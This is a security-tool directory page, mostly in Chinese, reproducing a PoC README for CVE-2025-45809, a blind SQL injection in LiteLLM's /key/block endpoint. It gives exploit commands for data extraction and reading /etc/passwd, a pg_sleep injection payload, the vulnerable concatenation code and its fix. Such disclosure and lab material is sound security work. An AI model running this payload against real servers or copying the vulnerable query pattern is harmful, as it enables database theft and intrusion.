Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-45809-PoC — Code to reproduce the vulnerability individually | Kitploit
工具/GitHubGitHub/learner202649/cve-2025-45809-poc
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingLearning & EducationDatabase Security
GitHublearner202649/cve-2025-45809-poc

CVE-2025-45809-PoC

Code to reproduce the vulnerability individually

查看仓库
2个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-45809 — LiteLLM SQL Injection via /key/block (Time-Based Blind SQLi)

LiteLLM v1.65.4(v1.81.0 之前版本)的 /key/block 和 /key/unblock 端点 中的 key 参数存在 SQL 注入漏洞。攻击者可利用基于时间的盲注技术 窃取数据库内容、读取服务器文件。

FieldValue
CVECVE-2025-45809
GHSAGHSA-cgmh-xxmq-hp46
CVSS v3.15.4 (MEDIUM) — AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
CWECWE-89 (SQL Injection)
AffectedLiteLLM < 1.81.0(确认于 v1.65.4)
Fixedv1.81.0+(参数化查询修复)
Published2025-07-03
Discovered byshadia0 (via Huntr bounty)
LinksNVD • Huntr • Snyk

Description

LiteLLM 的 /key/block 和 /key/unblock 端点用于管理 API 密钥的封禁/解封。 这两个端点在处理 key 参数时,直接将用户输入拼接到 SQL 查询字符串中(使用 f-string 格式化),没有使用参数化查询,导致 SQL 注入漏洞。

漏洞端点

端点方法注入参数
/key/blockPOSTkey (JSON body)
/key/unblockPOSTkey (JSON body)

攻击向量

  • 基于时间的盲注: 利用 PostgreSQL 的 pg_sleep() 函数,通过响应时间差确认注入
  • 数据窃取: 通过条件时间查询逐字符提取数据库内容
  • 文件读取: 利用 PostgreSQL 的 pg_read_file() 函数读取服务器文件

Proof of Concept

Quick Start (Docker)

root@kitploit:~
# 1. 启动 PostgreSQL + 脆弱版 LiteLLM
docker compose up -d

# 2. 安装依赖
pip install -r requirements.txt

# 3. 确认 SQL 注入(检测 pg_sleep 延时)
python3 exploit/exploit.py --mode check --target http://localhost:4000

注意:首次运行 exploit 时会自动调用 /key/generate 创建 API key, 触发 Prisma 完成 Key 数据库表的创建。这是 /key/block 端点 能够进入存在漏洞的 SQL 查询路径的必要前置条件。 若跳过此步骤,/key/block 会因Key表未初始化而直接返回 401, 导致注入无法触发。

4. 提取数据库当前用户

python3 exploit/exploit.py --mode extract-user --target http://localhost:4000

5. 提取 PostgreSQL 版本

python3 exploit/exploit.py --mode extract-version --target http://localhost:4000

6. 尝试读取 /etc/passwd

python3 exploit/exploit.py --mode file-read --target http://localhost:4000

7. (可选)验证修复版本

docker compose --profile fixed up -d python3 exploit/exploit.py --mode check --target http://localhost:4001 --fixed

root@kitploit:~

### 预期输出

**注入确认 (--mode check):**

====================================================================== [VULNERABLE] CVE-2025-45809 — SQL Injection Confirmation

Target : http://localhost:4000 Endpoint : /key/block

[*] Step 1: Measuring baseline response time... Baseline: 0.01s (HTTP 401)

[*] Step 2: Testing basic injection (SQL comment)... Comment test: 0.00s (HTTP 200)

[*] Step 3: Testing pg_sleep(3) injection... pg_sleep(3): 3.01s (N/A)

[*] Step 4: Testing pg_sleep(5) injection... pg_sleep(5): 5.01s (N/A)

[*] Analysis: Baseline time: 0.01s pg_sleep(3): 3.01s (expected ~3s) pg_sleep(5): 5.01s (expected ~5s)

[🔥] VULNERABILITY CONFIRMED! pg_sleep() injection successful! Response increased from 0.01s to 5.01s

root@kitploit:~

**修复版本拒绝注入:**

====================================================================== [FIXED] CVE-2025-45809 — SQL Injection Confirmation

Target : http://localhost:4001 Endpoint : /key/block

[*] Step 1: Measuring baseline response time... Baseline: 0.00s (HTTP 400)

[*] Step 2: Testing basic injection (SQL comment)... Comment test: 0.00s (HTTP N/A)

[*] Step 3: Testing pg_sleep(3) injection... pg_sleep(3): 0.00s (N/A)

[*] Step 4: Testing pg_sleep(5) injection... pg_sleep(5): 0.00s (N/A)

[*] Analysis: Baseline time: 0.00s pg_sleep(3): 0.00s (expected ~3s) pg_sleep(5): 0.00s (expected ~5s)

[+] Fixed version: No time delay detected (expected).

root@kitploit:~

---

## Technical Details

### 漏洞代码

在 LiteLLM v1.65.4 中,`/key/block` 端点的处理逻辑类似如下(简化版):

```python
# 漏洞代码 (v1.65.4) — 使用 f-string 拼接 SQL
@app.post("/key/block")
async def block_key(key_data: dict, user_api_key_dict=Depends(...)):
    key = key_data.get("key", "")
    # 直接拼接用户输入到 SQL 查询中!
    query = f"UPDATE keys SET blocked=true WHERE key='{key}'"
    await database.execute(query)
    return {"status": "success"}

注入原理

攻击者在 key 参数中注入 PostgreSQL 的时间延迟函数:

root@kitploit:~
' OR (SELECT pg_sleep(5)) IS NULL --

拼接后的 SQL 变为:

root@kitploit:~
UPDATE keys SET blocked=true WHERE key='' OR (SELECT pg_sleep(5)) IS NULL --'

时间差对比

测试场景响应时间结论
正常请求 (key=test)~0.01s基线
pg_sleep(3)~3.01s注入生效
pg_sleep(5)~5.01s注入确认

前置条件:数据库表初始化

LiteLLM v1.65.4 使用 Prisma ORM 管理数据库。Key 表采用懒创建策略—— 在首次调用 /key/generate 创建 API key 之前,Key 表在 PostgreSQL 中尚不存在。 这导致 /key/block 端点的 key 校验查询(WHERE key='{input}')在执行到存在注入漏洞的 SQL 代码路径之前即因表不存在而返回 401。

当前 PoC 已自动处理此问题:exploit 脚本在发送注入 payload 之前,会先调用 /key/generate 创建一个 API key,确保数据库表就绪。

注意:容器首次启动需等待约 30-60s(Prisma CLI 安装 + 数据库初始化),待日志中出现 Uvicorn running on http://0.0.0.0:4000 后再执行 exploit。


Environment

root@kitploit:~
CVE-2025-45809/
├── README.md                    # This file
├── docker-compose.yml           # PostgreSQL + vulnerable/fixed LiteLLM
├── litellm_config.yaml          # LiteLLM config with DB connection
├── requirements.txt             # Python dependencies
├── litellm-vuln/
│   └── Dockerfile               # pip install "litellm[proxy]==1.65.4" + prisma + nodejs
├── exploit/
│   ├── exploit.py               # Main exploit script
│   └── payload.py               # SQL injection payload builder
├── docs/
│   └── advisory.md
└── screenshots/
    └── README.md

Fix

在 v1.81.0 中修复,改用参数化查询(Prepared Statements)替代 f-string 拼接:

root@kitploit:~
# 修复后 — 使用参数化查询
query = "UPDATE keys SET blocked=true WHERE key=:key"
await database.execute(query, {"key": key})  # 参数安全绑定

缓解措施

  1. 升级 LiteLLM 到 v1.81.0+
  2. 使用 参数化查询 替代字符串拼接
  3. 对 key 参数实施严格的输入验证
  4. 部署 WAF 拦截 SQL 注入模式

References

  • NVD Detail
  • Huntr Bounty
  • Snyk Advisory
  • GitHub PoC (shadia0/Patienc)

Disclaimer: This content is provided for educational purposes and authorized security testing only.

下载工具